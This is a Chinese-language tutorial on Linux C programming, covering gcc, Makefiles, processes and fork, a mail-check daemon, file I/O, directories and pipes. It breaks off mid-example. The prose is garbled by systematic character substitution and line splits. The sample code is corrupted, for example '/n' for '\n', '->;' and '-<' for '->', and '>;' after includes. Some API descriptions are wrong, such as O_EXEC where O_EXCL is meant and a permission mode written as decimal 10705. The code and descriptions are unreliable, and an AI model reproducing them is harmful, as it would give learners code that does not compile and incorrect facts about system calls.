linux下C編程詳解

linux操做系統下 linux

c語言編程入門 c++


整理編寫:007xiong
原文:Hoyt

()目錄介紹

1)Linux程序設計入門--基礎知識
2)Linux程序設計入門--進程介紹
3)Linux程序設計入門--文件操做
4)Linux程序設計入門--時間概念
5)Linux程序設計入門--信號處理
6)Linux程序設計入門--消息管理
7)Linux程序設計入門--線程操做
8)Linux程序設計入門--網絡編程
9)LinuxC開發工具介紹

()具體內容

1)Linux程序設計入門--基礎知識
Linux
C語言編程基礎知識
前言:
這篇文章介紹在LINUX下進行C語言編程所須要的基礎知識.在這篇文章當中,咱們將
會學到如下內容:
源程序編譯
Makefile
的編寫
程序庫的連接
程序的調試
頭文件和系統求助
----------------------------------------------------------------------------
----
1.
源程序的編譯
Linux下面,若是要編譯一個C語言源程序,咱們要使用GNUgcc編譯器. 下面咱們
以一個實例來講明如何使用gcc編譯器.
假設咱們有下面一個很是簡單的源程序(hello.c):
int main(int argc,char **argv)
{
printf("Hello Linux/n");
}
要編譯這個程序,咱們只要在命令行下執行:
gcc -o hello hello.c
gcc
編譯器就會爲咱們生成一個hello的可執行文件.執行./hello就能夠看到程序的輸出
結果了.命令行中 gcc表示咱們是用gcc來編譯咱們的源程序,-o 選項表示咱們要求編譯
器給咱們輸出的可執行文件名爲hello hello.c是咱們的源程序文件.
gcc
編譯器有許多選項,通常來講咱們只要知道其中的幾個就夠了. -o選項咱們已經知道
,表示咱們要求輸出的可執行文件名. -c選項表示咱們只要求編譯器輸出目標代碼,
沒必要要輸出可執行文件. -g選項表示咱們要求編譯器在編譯的時候提供咱們之後對程序
進行調試的信息.
知道了這三個選項,咱們就能夠編譯咱們本身所寫的簡單的源程序了,若是你想要知道更
多的選項,能夠查看gcc的幫助文檔,那裏有着許多對其它選項的詳細說明.
2.Makefile
的編寫
假設咱們有下面這樣的一個程序,源代碼以下:
/* main.c */
#include "mytool1.h"
#include "mytool2.h"
int main(int argc,char **argv)
{
mytool1_print("hello");
mytool2_print("hello");
}
/* mytool1.h */
#ifndef _MYTOOL_1_H
#define _MYTOOL_1_H
void mytool1_print(char *print_str);
#endif
/* mytool1.c */
#include "mytool1.h"
void mytool1_print(char *print_str)
{
printf("This is mytool1 print %s/n",print_str);
}
/* mytool2.h */
#ifndef _MYTOOL_2_H
#define _MYTOOL_2_H
void mytool2_print(char *print_str);
#endif
/* mytool2.c */
#include "mytool2.h"
void mytool2_print(char *print_str)
{
printf("This is mytool2 print %s/n",print_str);
}
固然因爲這個程序是很短的咱們能夠這樣來編譯
gcc -c main.c
gcc -c mytool1.c
gcc -c mytool2.c
gcc -o main main.o mytool1.o mytool2.o
這樣的話咱們也能夠產生main程序,並且也不時很麻煩.可是若是咱們考慮一下若是有一
天咱們修改了其中的一個文件(好比說mytool1.c)那麼咱們難道還要從新輸入上面的命令
?
也許你會說,這個很容易解決啊,我寫一個SHELL腳本,讓她幫我去完成不就能夠了.是的
對於這個程序來講,是能夠起到做用的.可是當咱們把事情想的更復雜一點,若是咱們的程
序有幾百個源程序的時候,難道也要編譯器從新一個一個的去編譯?
爲此,聰明的程序員們想出了一個很好的工具來作這件事情,這就是make.咱們只要執行以
make,就能夠把上面的問題解決掉.在咱們執行make以前,咱們要先編寫一個很是重要的
文件.--Makefile.對於上面的那個程序來講,可能的一個Makefile的文件是:
#
這是上面那個程序的Makefile文件
main:main.o mytool1.o mytool2.o
gcc -o main main.o mytool1.o mytool2.o
main.o:main.c mytool1.h mytool2.h
gcc -c main.c
mytool1.o:mytool1.c mytool1.h
gcc -c mytool1.c
mytool2.o:mytool2.c mytool2.h
gcc -c mytool2.c
有了這個Makefile文件,不過咱們何時修改了源程序當中的什麼文件,咱們只要執行
make
命令,咱們的編譯器都只會去編譯和咱們修改的文件有關的文件,其它的文件她連理
都不想去理的.
下面咱們學習Makefile是如何編寫的.
Makefile中也#開始的行都是註釋行.Makefile中最重要的是描述文件的依賴關係的說
.通常的格式是:
target: components
TAB rule
第一行表示的是依賴關係.第二行是規則.
好比說咱們上面的那個Makefile文件的第二行
main:main.o mytool1.o mytool2.o
表示咱們的目標(target)main的依賴對象(components)main.o mytool1.o mytool2.o
當倚賴的對象在目標修改後修改的話,就要去執行規則一行所指定的命令.就象咱們的上
面那個Makefile第三行所說的同樣要執行 gcc -o main main.o mytool1.o mytool2.o
注意規則一行中的TAB表示那裏是一個TAB
Makefile
有三個很是有用的變量.分別是$@,$^,$<表明的意義分別是:
$@--
目標文件,$^--全部的依賴文件,$<--第一個依賴文件.
若是咱們使用上面三個變量,那麼咱們能夠簡化咱們的Makefile文件爲:
#
這是簡化後的Makefile
main:main.o mytool1.o mytool2.o
gcc -o $@ $^
main.o:main.c mytool1.h mytool2.h
gcc -c $<
mytool1.o:mytool1.c mytool1.h
gcc -c $<
mytool2.o:mytool2.c mytool2.h
gcc -c $<
通過簡化後咱們的Makefile是簡單了一點,不過人們有時候還想簡單一點.這裏咱們學習
一個Makefile的缺省規則
..c.o:
gcc -c $<
這個規則表示全部的 .o文件都是依賴與相應的.c文件的.例如mytool.o依賴於mytool.c
這樣Makefile還能夠變爲:
#
這是再一次簡化後的Makefile
main:main.o mytool1.o mytool2.o
gcc -o $@ $^
..c.o:
gcc -c $<
好了,咱們的Makefile 也差很少了,若是想知道更多的關於Makefile規則能夠查看相應的
文檔.
3.
程序庫的連接
試着編譯下面這個程序
/* temp.c */
#include <math.h>;
int main(int argc,char **argv)
{
double value;
printf("Value:%f/n",value);
}
這個程序至關簡單,可是當咱們用 gcc -o temp temp.c 編譯時會出現下面所示的錯誤.

/tmp/cc33Kydu.o: In function `main':
/tmp/cc33Kydu.o(.text+0xe): undefined reference to `log'
collect2: ld returned 1 exit status
出現這個錯誤是由於編譯器找不到log的具體實現.雖然咱們包括了正確的頭文件,可是我
們在編譯的時候仍是要鏈接肯定的庫.Linux,爲了使用數學函數,咱們必須和數學庫
鏈接,爲此咱們要加入 -lm 選項. gcc -o temp temp.c -lm這樣纔可以正確的編譯.也許
有人要問,前面咱們用printf函數的時候怎麼沒有鏈接庫呢?是這樣的,對於一些經常使用的函
數的實現,gcc編譯器會自動去鏈接一些經常使用庫,這樣咱們就沒有必要本身去指定了. 有時
候咱們在編譯程序的時候還要指定庫的路徑,這個時候咱們要用到編譯器的 -L選項指定
路徑.好比說咱們有一個庫在 /home/hoyt/mylib,這樣咱們編譯的時候還要加上 -L/h
ome/hoyt/mylib.
對於一些標準庫來講,咱們沒有必要指出路徑.只要它們在起缺省庫的路
徑下就能夠了.系統的缺省庫的路徑/lib /usr/lib /usr/local/lib 在這三個路徑下面
的庫,咱們能夠不指定路徑.
還有一個問題,有時候咱們使用了某個函數,可是咱們不知道庫的名字,這個時候怎麼辦呢
?
很抱歉,對於這個問題我也不知道答案,我只有一個傻辦法.首先,我到標準庫路徑下面去
找看看有沒有和我用的函數相關的庫,我就這樣找到了線程(thread)函數的庫文件(libp
thread.a).
固然,若是找不到,只有一個笨方法.好比我要找sin這個函數所在的庫. 就只
好用 nm -o /lib/*.so|grep sin>;~/sin 命令,而後看~/sin文件,到那裏面去找了. s
in
文件當中,我會找到這樣的一行libm- 2.1.2 .so:00009fa0 W sin 這樣我就知道了sin
libm-2.1.2.so
庫裏面,我用 -lm選項就能夠了(去掉前面的lib和後面的版本標誌,就剩
m了因此是 -lm). 若是你知道怎麼找,請趕快告訴我,我回很是感激的.謝謝!
4.
程序的調試
咱們編寫的程序不太可能一次性就會成功的,在咱們的程序當中,會出現許許多多我
們想不到的錯誤,這個時候咱們就要對咱們的程序進行調試了.
最經常使用的調試軟件是gdb.若是你想在圖形界面下調試程序,那麼你如今能夠選擇xxgdb.
得要在編譯的時候加入 -g選項.關於gdb的使用能夠看gdb的幫助文件.因爲我沒有用過這
個軟件,因此我也不可以說出如何使用. 不過我不喜歡用gdb.跟蹤一個程序是很煩的事情
,
我通常用在程序當中輸出中間變量的值來調試程序的.固然你能夠選擇本身的辦法,沒有
必要去學別人的.如今有了許多IDE環境,裏面已經本身帶了調試器了.你能夠選擇幾個試
一試找出本身喜歡的一個用.
5.
頭文件和系統求助
有時候咱們只知道一個函數的大概形式,不記得確切的表達式,或者是不記得着函數
在那個頭文件進行了說明.這個時候咱們能夠求助系統.
好比說咱們想知道fread這個函數的確切形式,咱們只要執行 man fread 系統就會輸出着
函數的詳細解釋的.和這個函數所在的頭文件<stdio.h>;說明了. 若是咱們要write這個函
數的說明,當咱們執行man write,輸出的結果卻不是咱們所須要的. 由於咱們要的是w
rite
這個函數的說明,但是出來的倒是write這個命令的說明.爲了獲得write的函數說明
咱們要用 man 2 write. 2表示咱們用的write這個函數是系統調用函數,還有一個咱們常
用的是3表示函數是C的庫函數.
記住無論何時,man都是咱們的最好助手.
------------------------------------------------------------------------
好了,這一章就講這麼多了,有了這些知識咱們就能夠進入激動人心的Linux下的C程序探
險活動.  

2)Linux程序設計入門--進程介紹
Linux
下進程的建立
前言:
這篇文章是用來介紹在Linux下和進程相關的各個概念.咱們將會學到:
進程的概念
進程的身份
進程的建立
守護進程的建立
----------------------------------------------------------------------------
----
1
。進程的概念
Linux
操做系統是面向多用戶的.在同一時間能夠有許多用戶向操做系統發出各類命
.那麼操做系統是怎麼實現多用戶的環境呢? 在現代的操做系統裏面,都有程序和進程
的概念.那麼什麼是程序,什麼是進程呢? 通俗的講程序是一個包含能夠執行代碼的文件
,
是一個靜態的文件.而進程是一個開始執行可是尚未結束的程序的實例.就是可執行文
件的具體實現. 一個程序可能有許多進程,而每個進程又能夠有許多子進程.依次循環
下去,而產生子孫進程. 當程序被系統調用到內存之後,系統會給程序分配必定的資源(
,設備等等)而後進行一系列的複雜操做,使程序變成進程以供系統調用.在系統裏面只
有進程沒有程序,爲了區分各個不一樣的進程,系統給每個進程分配了一個ID(就象咱們的
身份證)以便識別. 爲了充分的利用資源,系統還對進程區分了不一樣的狀態.將進程分爲新
,運行,阻塞,就緒和完成五個狀態. 新建表示進程正在被建立,運行是進程正在運行,
塞是進程正在等待某一個事件發生,就緒是表示系統正在等待CPU來執行命令,而完成表示
進程已經結束了系統正在回收資源. 關於進程五個狀態的詳細解說咱們能夠看《操做系
統》上面有詳細的解說。
2
。進程的標誌
上面咱們知道了進程都有一個ID,那麼咱們怎麼獲得進程的ID?系統調用getpid
以獲得進程的ID,getppid能夠獲得父進程(建立調用該函數進程的進程)ID.
#include <unistd>;
pid_t getpid(void);
pid_t getppid(void);
進程是爲程序服務的,而程序是爲了用戶服務的.系統爲了找到進程的用戶名,還爲進程和
用戶創建聯繫.這個用戶稱爲進程的全部者.相應的每個用戶也有一個用戶ID.經過系統
調用getuid能夠獲得進程的全部者的ID.因爲進程要用到一些資源,Linux對系統資源是
進行保護的,爲了獲取必定資源進程還有一個有效用戶ID.這個ID和系統的資源使用有關
,
涉及到進程的權限. 經過系統調用geteuid咱們能夠獲得進程的有效用戶ID. 和用戶ID
相對應進程還有一個組ID和有效組ID系統調用getgidgetegid能夠分別獲得組ID和有效
ID
#include <unistd>;
#include <sys/types.h>;

uid_t getuid(void);
uid_t geteuid(void);
gid_t getgid(void);
git_t getegid(void);
有時候咱們還會對用戶的其餘信息感興趣(登陸名等等),這個時候咱們能夠調用getpwui
d
來獲得.
struct passwd {
char *pw_name; /*
登陸名稱 */
char *pw_passwd; /*
登陸口令 */
uid_t pw_uid; /*
用戶ID */
gid_t pw_gid; /*
用戶組ID */
char *pw_gecos; /*
用戶的真名 */
char *pw_dir; /*
用戶的目錄 */
char *pw_shell; /*
用戶的SHELL */
};
#include <pwd.h>;
#include <sys/types.h>;

struct passwd *getpwuid(uid_t uid);
下面咱們學習一個實例來實踐一下上面咱們所學習的幾個函數:
#include <unistd.h>;
#include <pwd.h>;
#include <sys/types.h>;
#include <stdio.h>;
int main(int argc,char **argv)
{
pid_t my_pid,parent_pid;
uid_t my_uid,my_euid;
gid_t my_gid,my_egid;
struct passwd *my_info;
my_pid=getpid();
parent_pid=getppid();
my_uid=getuid();
my_euid=geteuid();
my_gid=getgid();
my_egid=getegid();
my_info=getpwuid(my_uid);
printf("Process ID:%ld/n",my_pid);
printf("Parent ID:%ld/n",parent_pid);
printf("User ID:%ld/n",my_uid);
printf("Effective User ID:%ld/n",my_euid);
printf("Group ID:%ld/n",my_gid);
printf("Effective Group ID:%ld/n",my_egid):
if(my_info)
{
printf("My Login Name:%s/n" ,my_info->;pw_name);
printf("My Password :%s/n" ,my_info->;pw_passwd);
printf("My User ID :%ld/n",my_info->;pw_uid);
printf("My Group ID :%ld/n",my_info->;pw_gid);
printf("My Real Name:%s/n" ,my_info->;pw_gecos);
printf("My Home Dir :%s/n", my_info->;pw_dir);
printf("My Work Shell:%s/n", my_info->;pw_shell);
}
}
3
。進程的建立
建立一個進程的系統調用很簡單.咱們只要調用fork函數就能夠了.
#include <unistd.h>;

pid_t fork();
當一個進程調用了fork之後,系統會建立一個子進程.這個子進程和父進程不一樣的地方只
有他的進程ID和父進程ID,其餘的都是同樣.就象符進程克隆(clone)本身同樣.固然建立
兩個如出一轍的進程是沒有意義的.爲了區分父進程和子進程,咱們必須跟蹤fork的返回
. fork掉用失敗的時候(內存不足或者是用戶的最大進程數已到)fork返回-1,不然f
ork
的返回值有重要的做用.對於父進程fork返回子進程的ID,而對於fork子進程返回0.
們就是根據這個返回值來區分父子進程的. 父進程爲何要建立子進程呢?前面咱們已經
說過了Linux是一個多用戶操做系統,在同一時間會有許多的用戶在爭奪系統的資源.有時
進程爲了早一點完成任務就建立子進程來爭奪資源. 一旦子進程被建立,父子進程一塊兒從
fork
處繼續執行,相互競爭系統的資源.有時候咱們但願子進程繼續執行,而父進程阻塞直
到子進程完成任務.這個時候咱們能夠調用wait或者waitpid系統調用.
#include <sys/types.h>;
#include <sys/wait.h>;

pid_t wait(int *stat_loc);
pid_t waitpid(pid_t pid,int *stat_loc,int options);
wait
系統調用會使父進程阻塞直到一個子進程結束或者是父進程接受到了一個信號.若是
沒有父進程沒有子進程或者他的子進程已經結束了wait回當即返回.成功時(因一個子進
程結束)wait將返回子進程的ID,不然返回-1,並設置全局變量errno.stat_loc是子進程的
退出狀態.子進程調用exit,_exit 或者是return來設置這個值. 爲了獲得這個值Linux
義了幾個宏來測試這個返回值.
WIFEXITED:
判斷子進程退出值是非0
WEXITSTATUS:
判斷子進程的退出值(當子進程退出時非0).
WIFSIGNALED:
子進程因爲有沒有得到的信號而退出.
WTERMSIG:
子進程沒有得到的信號號(WIFSIGNALED爲真時纔有意義).
waitpid
等待指定的子進程直到子進程返回.若是pid爲正值則等待指定的進程(pid).若是
0則等待任何一個組ID和調用者的組ID相同的進程.-1時等同於wait調用.小於-1時等
待任何一個組ID等於pid絕對值的進程. stat_locwait的意義同樣. options能夠決定
父進程的狀態.能夠取兩個值 WNOHANG:父進程當即返回當沒有子進程存在時. WUNTACHE
D:
當子進程結束時waitpid返回,可是子進程的退出狀態不可獲得.
父進程建立子進程後,子進程通常要執行不一樣的程序.爲了調用系統程序,咱們能夠使用系
統調用exec族調用.exec族調用有着5個函數.
#include <unistd.h>;
int execl(const char *path,const char *arg,...);
int execlp(const char *file,const char *arg,...);
int execle(const char *path,const char *arg,...);
int execv(const char *path,char *const argv[]);
int execvp(const char *file,char *const argv[]):
exec
族調用能夠執行給定程序.關於exec族調用的詳細解說能夠參考系統手冊(man exec
l).
下面咱們來學習一個實例.注意編譯的時候要加 -lm以便鏈接數學函數庫.
#include <unistd.h>;
#include <sys/types.h>;
#include <sys/wait.h>;
#include <stdio.h>;
#include <errno.h>;
#include <math.h>;
void main(void)
{
pid_t child;
int status;
printf("This will demostrate how to get child status/n");
if((child=fork())==-1)
{
printf("Fork Error :%s/n",strerror(errno));
exit(1);
}
else if(child==0)
{
int i;
printf("I am the child:%ld/n",getpid());
for(i=0;i<1000000;i++) sin(i);
i=5;
printf("I exit with %d/n",i);
exit(i);
}
while(((child=wait(&status))==-1)&(errno==EINTR));
if(child==-1)
printf("Wait Error:%s/n",strerror(errno));
else if(!status)
printf("Child %ld terminated normally return status is zero/n",
child);
else if(WIFEXITED(status))
printf("Child %ld terminated normally return status is %d/n",
child,WEXITSTATUS(status));
else if(WIFSIGNALED(status))
printf("Child %ld terminated due to signal %d znot caught/n",
child,WTERMSIG(status));
}
strerror
函數會返回一個指定的錯誤號的錯誤信息的字符串.
4
。守護進程的建立
若是你在DOS時代編寫過程序,那麼你也許知道在DOS下爲了編寫一個常駐內存的程序
咱們要編寫多少代碼了.相反若是在Linux下編寫一個"常駐內存"的程序倒是很容易的.
們只要幾行代碼就能夠作到. 實際上因爲Linux是多任務操做系統,咱們就是不編寫代碼
也能夠把一個程序放到後臺去執行的.咱們只要在命令後面加上&符號SHELL就會把咱們的
程序放到後臺去運行的. 這裏咱們"開發"一個後臺檢查郵件的程序.這個程序每一個一個指
定的時間回去檢查咱們的郵箱,若是發現咱們有郵件了,會不斷的報警(經過機箱上的小喇
叭來發出聲音). 後面有這個函數的增強版本增強版本
後臺進程的建立思想: 首先父進程建立一個子進程.而後子進程殺死父進程(是否是很無
?). 信號處理全部的工做由子進程來處理.
#include <unistd.h>;
#include <sys/types.h>;
#include <sys/stat.h>;
#include <stdio.h>;
#include <errno.h>;
#include <fcntl.h>;
#include <signal.h>;
/* Linux
的默任我的的郵箱地址是 /var/spool/mail/用戶的登陸名 */
#define MAIL "/var/spool/mail/hoyt"
/*
睡眠10秒鐘 */

#define SLEEP_TIME 10
main(void)
{
pid_t child;
if((child=fork())==-1)
{
printf("Fork Error:%s/n",strerror(errno));
exit(1);
}
else if(child>;0)
while(1);
if(kill(getppid(),SIGTERM)==-1)
{
printf("Kill Parent Error:%s/n",strerror(errno));
exit(1);
}
{
int mailfd;
while(1)
{
if((mailfd=open(MAIL,O_RDONLY))!=-1)
{
fprintf(stderr,"%s","/007");
close(mailfd);
}
sleep(SLEEP_TIME);
}
}
}
你能夠在默認的路徑下建立你的郵箱文件,而後測試一下這個程序.固然這個程序還有很
多地方要改善的.咱們後面會對這個小程序改善的,再看個人改善以前你能夠嘗試本身改
善一下.好比讓用戶指定郵相的路徑和睡眠時間等等.相信本身能夠作到的.動手吧,勇敢
的探險者.
好了進程一節的內容咱們就先學到這裏了.進程是一個很是重要的概念,許多的程序都會
用子進程.建立一個子進程是每個程序員的基本要求!   

3)Linux程序設計入門--文件操做
Linux
下文件的操做
前言:
咱們在這一節將要討論linux下文件操做的各個函數.
文件的建立和讀寫
文件的各個屬性
目錄文件的操做
管道文件
----------------------------------------------------------------------------
----
1
。文件的建立和讀寫
我假設你已經知道了標準級的文件操做的各個函數(fopen,fread,fwrite等等).固然
若是你不清楚的話也不要着急.咱們討論的系統級的文件操做其實是爲標準級文件操做
服務的.
當咱們須要打開一個文件進行讀寫操做的時候,咱們能夠使用系統調用函數open.使用完
成之後咱們調用另一個close函數進行關閉操做.
#include <fcntl.h>;
#include <unistd.h>;
#include <sys/types.h>;
#include <sys/stat.h>;

int open(const char *pathname,int flags);
int open(const char *pathname,int flags,mode_t mode);
int close(int fd);
open
函數有兩個形式.其中pathname是咱們要打開的文件名(包含路徑名稱,缺省是認爲在
當前路徑下面).flags能夠去下面的一個值或者是幾個值的組合.
O_RDONLY:
以只讀的方式打開文件.
O_WRONLY:
以只寫的方式打開文件.
O_RDWR:
以讀寫的方式打開文件.
O_APPEND:
以追加的方式打開文件.
O_CREAT:
建立一個文件.
O_EXEC:
若是使用了O_CREAT並且文件已經存在,就會發生一個錯誤.
O_NOBLOCK:
以非阻塞的方式打開一個文件.
O_TRUNC:
若是文件已經存在,則刪除文件的內容.
前面三個標誌只能使用任意的一個.若是使用了O_CREATE標誌,那麼咱們要使用open的第
二種形式.還要指定mode標誌,用來表示文件的訪問權限.mode能夠是如下狀況的組合.
-----------------------------------------------------------------
S_IRUSR
用戶能夠讀 S_IWUSR 用戶能夠寫
S_IXUSR
用戶能夠執行 S_IRWXU 用戶能夠讀寫執行
-----------------------------------------------------------------
S_IRGRP
組能夠讀 S_IWGRP 組能夠寫
S_IXGRP
組能夠執行 S_IRWXG 組能夠讀寫執行
-----------------------------------------------------------------
S_IROTH
其餘人能夠讀 S_IWOTH 其餘人能夠寫
S_IXOTH
其餘人能夠執行 S_IRWXO 其餘人能夠讀寫執行
-----------------------------------------------------------------
S_ISUID
設置用戶執行ID S_ISGID 設置組的執行ID
-----------------------------------------------------------------
咱們也能夠用數字來表明各個位的標誌.Linux總共用5個數字來表示文件的各類權限.
00000.
第一位表示設置用戶ID.第二位表示設置組ID,第三位表示用戶本身的權限位,第四
位表示組的權限,最後一位表示其餘人的權限.
每一個數字能夠取1(執行權限),2(寫權限),4(讀權限),0(什麼也沒有)或者是這幾個值的和
..
好比咱們要建立一個用戶讀寫執行,組沒有權限,其餘人讀執行的文件.設置用戶ID位那麼
咱們能夠使用的模式是--1(設置用戶ID)0(組沒有設置)7(1+2+4)0(沒有權限,使用缺省)
5(1+4)
10705:
open("temp",O_CREAT,10705);
若是咱們打開文件成功,open會返回一個文件描述符.咱們之後對文件的全部操做就能夠
對這個文件描述符進行操做了.
當咱們操做完成之後,咱們要關閉文件了,只要調用close就能夠了,其中fd是咱們要關閉
的文件描述符.
文件打開了之後,咱們就要對文件進行讀寫了.咱們能夠調用函數readwrite進行文件的
讀寫.
#include <unistd.h>;
ssize_t read(int fd, void *buffer,size_t count);
ssize_t write(int fd, const void *buffer,size_t count);
fd
是咱們要進行讀寫操做的文件描述符,buffer是咱們要寫入文件內容或讀出文件內容的
內存地址.count是咱們要讀寫的字節數.
對於普通的文件read從指定的文件(fd)中讀取count字節到buffer緩衝區中(記住咱們必
須提供一個足夠大的緩衝區),同時返回count.
若是read讀到了文件的結尾或者被一個信號所中斷,返回值會小於count.若是是由信號中
斷引發返回,並且沒有返回數據,read會返回-1,且設置errnoEINTR.當程序讀到了文件
結尾的時候,read會返回0.
write
buffer中寫count字節到文件fd,成功時返回實際所寫的字節數.
下面咱們學習一個實例,這個實例用來拷貝文件.
#include <unistd.h>;
#include <fcntl.h>;
#include <stdio.h>;
#include <sys/types.h>;
#include <sys/stat.h>;
#include <errno.h>;
#include <string.h>;
#define BUFFER_SIZE 1024
int main(int argc,char **argv)
{
int from_fd,to_fd;
int bytes_read,bytes_write;
char buffer[BUFFER_SIZE];
char *ptr;
if(argc!=3)
{
fprintf(stderr,"Usage:%s fromfile tofile/n/a",argv[0]);
exit(1);
}
/*
打開源文件 */
if((from_fd=open(argv[1],O_RDONLY))==-1)
{
fprintf(stderr,"Open %s Error:%s/n",argv[1],strerror(errno));
exit(1);
}
/*
建立目的文件 */
if((to_fd=open(argv[2],O_WRONLY|O_CREAT,S_IRUSR|S_IWUSR))==-1)
{
fprintf(stderr,"Open %s Error:%s/n",argv[2],strerror(errno));
exit(1);
}
/*
如下代碼是一個經典的拷貝文件的代碼 */
while(bytes_read=read(from_fd,buffer,BUFFER_SIZE))
{
/*
一個致命的錯誤發生了 */
if((bytes_read==-1)&&(errno!=EINTR)) break;
else if(bytes_read>;0)
{
ptr=buffer;
while(bytes_write=write(to_fd,ptr,bytes_read))
{
/*
一個致命錯誤發生了 */
if((bytes_write==-1)&&(errno!=EINTR))break;
/*
寫完了全部讀的字節 */
else if(bytes_write==bytes_read) break;
/*
只寫了一部分,繼續寫 */
else if(bytes_write>;0)
{
ptr+=bytes_write;
bytes_read-=bytes_write;
}
}
/*
寫的時候發生的致命錯誤 */
if(bytes_write==-1)break;
}
}
close(from_fd);
close(to_fd);
exit(0);
}
2
。文件的各個屬性
文件具備各類各樣的屬性,除了咱們上面所知道的文件權限之外,文件還有建立時間
,
大小等等屬性.
有時侯咱們要判斷文件是否能夠進行某種操做(,寫等等).這個時候咱們能夠使用acce
ss
函數.
#include <unistd.h>;

int access(const char *pathname,int mode);
pathname:
是文件名稱,mode是咱們要判斷的屬性.能夠取如下值或者是他們的組合.
R_OK
文件能夠讀,W_OK文件能夠寫,X_OK文件能夠執行,F_OK文件存在.當咱們測試成功時
,
函數返回0,不然若是有一個條件不符時,返回-1.
若是咱們要得到文件的其餘屬性,咱們能夠使用函數stat或者fstat.
#include <sys/stat.h>;
#include <unistd.h>;
int stat(const char *file_name,struct stat *buf);
int fstat(int filedes,struct stat *buf);
struct stat {
dev_t st_dev; /*
設備 */
ino_t st_ino; /*
節點 */
mode_t st_mode; /*
模式 */
nlink_t st_nlink; /*
硬鏈接 */
uid_t st_uid; /*
用戶ID */
gid_t st_gid; /*
ID */
dev_t st_rdev; /*
設備類型 */
off_t st_off; /*
文件字節數 */
unsigned long st_blksize; /*
塊大小 */
unsigned long st_blocks; /*
塊數 */
time_t st_atime; /*
最後一次訪問時間 */
time_t st_mtime; /*
最後一次修改時間 */
time_t st_ctime; /*
最後一次改變時間(指屬性) */
};
stat
用來判斷沒有打開的文件,fstat用來判斷打開的文件.咱們使用最多的屬性是st_
mode.
經過着屬性咱們能夠判斷給定的文件是一個普通文件仍是一個目錄,鏈接等等.能夠
使用下面幾個宏來判斷.
S_ISLNK(st_mode):
是不是一個鏈接.S_ISREG是不是一個常規文件.S_ISDIR是不是一個目
S_ISCHR是不是一個字符設備.S_ISBLK是不是一個塊設備S_ISFIFO是否 是一個FIFO
.S_ISSOCK是不是一個SOCKET文件. 咱們會在下面說明如何使用這幾個宏的.
3
。目錄文件的操做
在咱們編寫程序的時候,有時候會要獲得咱們當前的工做路徑。C庫函數提供了get
cwd
來解決這個問題。
#include <unistd.h>;

char *getcwd(char *buffer,size_t size);
咱們提供一個size大小的buffer,getcwd會把咱們當前的路徑考到buffer.若是buffer
過小,函數會返回-1和一個錯誤號.
Linux
提供了大量的目錄操做函數,咱們學習幾個比較簡單和經常使用的函數.
#include <dirent.h>;
#include <unistd.h>;
#include <fcntl.h>;
#include <sys/types.h>;
#include <sys/stat.h>;
int mkdir(const char *path,mode_t mode);
DIR *opendir(const char *path);
struct dirent *readdir(DIR *dir);
void rewinddir(DIR *dir);
off_t telldir(DIR *dir);
void seekdir(DIR *dir,off_t off);
int closedir(DIR *dir);
struct dirent {
long d_ino;
off_t d_off;
unsigned short d_reclen;
char d_name[NAME_MAX+1]; /*
文件名稱 */
mkdir
很容易就是咱們建立一個目錄,opendir打開一個目錄爲之後讀作準備.readdir讀一
個打開的目錄.rewinddir是用來重讀目錄的和咱們學的rewind函數同樣.closedir是關閉
一個目錄.telldirseekdir相似與fteefseek函數.
下面咱們開發一個小程序,這個程序有一個參數.若是這個參數是一個文件名,咱們輸出這
個文件的大小和最後修改的時間,若是是一個目錄咱們輸出這個目錄下全部文件的大小和
修改時間.
#include <unistd.h>;
#include <stdio.h>;
#include <errno.h>;
#include <sys/types.h>;
#include <sys/stat.h>;
#include <dirent.h>;
#include <time.h>;
static int get_file_size_time(const char *filename)
{
struct stat statbuf;
if(stat(filename,&statbuf)==-1)
{
printf("Get stat on %s Error:%s/n",
filename,strerror(errno));
return(-1);
}
if(S_ISDIR(statbuf.st_mode))return(1);
if(S_ISREG(statbuf.st_mode))
printf("%s size:%ld bytes/tmodified at %s",
filename,statbuf.st_size,ctime(&statbuf.st_mtime));

return(0);
}
int main(int argc,char **argv)
{
DIR *dirp;
struct dirent *direntp;
int stats;
if(argc!=2)
{
printf("Usage:%s filename/n/a",argv[0]);
exit(1);
}
if(((stats=get_file_size_time(argv[1]))==0)||(stats==-1))exit(1);
if((dirp=opendir(argv[1]))==NULL)
{
printf("Open Directory %s Error:%s/n",
argv[1],strerror(errno));
exit(1);
}
while((direntp=readdir(dirp))!=NULL)
if(get_file_size_time(direntp-<d_name)==-1)break;
closedir(dirp);
exit(1);
}
4
。管道文件
Linux
提供了許多的過濾和重定向程序,好比more cat
等等.還提供了< >; | <<等等重定向操做符.在這些過濾和重 定向程序當中,都用到了管
道這種特殊的文件.系統調用pipe能夠建立一個管道.
#include<unistd.h>;

int pipe(int fildes[2]);
pipe
調用能夠建立一個管道(通訊緩衝區).當調用成功時,咱們能夠訪問文件描述符fild
es[0],fildes[1].
其中fildes[0]是用來讀的文件描述符,fildes[1]是用來寫的文件描
述符.
在實際使用中咱們是經過建立一個子進程,而後一個進程寫,一個進程讀來使用的.
關於進程通訊的詳細狀況請查看進程通訊
#include <stdio.h>;
#include <stdlib.h>;
#include <unistd.h>;
#include <string.h>;
#include <errno.h>;
#include <sys/types.h>;
#include <sys/wait.h>;
#define BUFFER 255
int main(int argc,char **argv)
{
char buffer[BUFFER+1];
int fd[2];
if(argc!=2)
{
fprintf(stderr,"Usage:%s string/n/a",argv[0]);
exit(1);
}
if(pipe(fd)!=0)
{
fprintf(stderr,"Pipe Error:%s/n/a",strerror(errno));
exit(1);
}
if(fork()==0)
{
close(fd[0]);
printf("Child[%d] Write to pipe/n/a",getpid());
snprintf(buffer,BUFFER,"%s",argv[1]);
write(fd[1],buffer,strlen(buffer));
printf("Child[%d] Quit/n/a",getpid());
exit(0);
}
else
{
close(fd[1]);
printf("Parent[%d] Read from pipe/n/a",getpid());
memset(buffer,'/0',BUFFER+1);
read(fd[0],buffer,BUFFER);
printf("Parent[%d] Read:%s/n",getpid(),buffer);
exit(1);
}
}
爲了實現重定向操做,咱們須要調用另一個函數dup2.
#include <unistd.h>;

int dup2(int oldfd,int newfd);
dup2
將用oldfd文件描述符來代替newfd文件描述符,同時關閉newfd文件描述符.也就是說
,
全部向newfd操做都轉到oldfd上面.下面咱們學習一個例子,這個例子將標準輸出重定向
到一個文件.
#include <unistd.h>;
#include <stdio.h>;
#include <errno.h>;
#include <fcntl.h>;
#include <string.h>;
#include <sys/types.h>;
#include <sys/stat.h>;
#define BUFFER_SIZE 1024
int main(int argc,char **argv)
{
int fd;
char buffer[BUFFER_SIZE];
if(argc!=2)
{
fprintf(stderr,"Usage:%s outfilename/n/a",argv[0]);
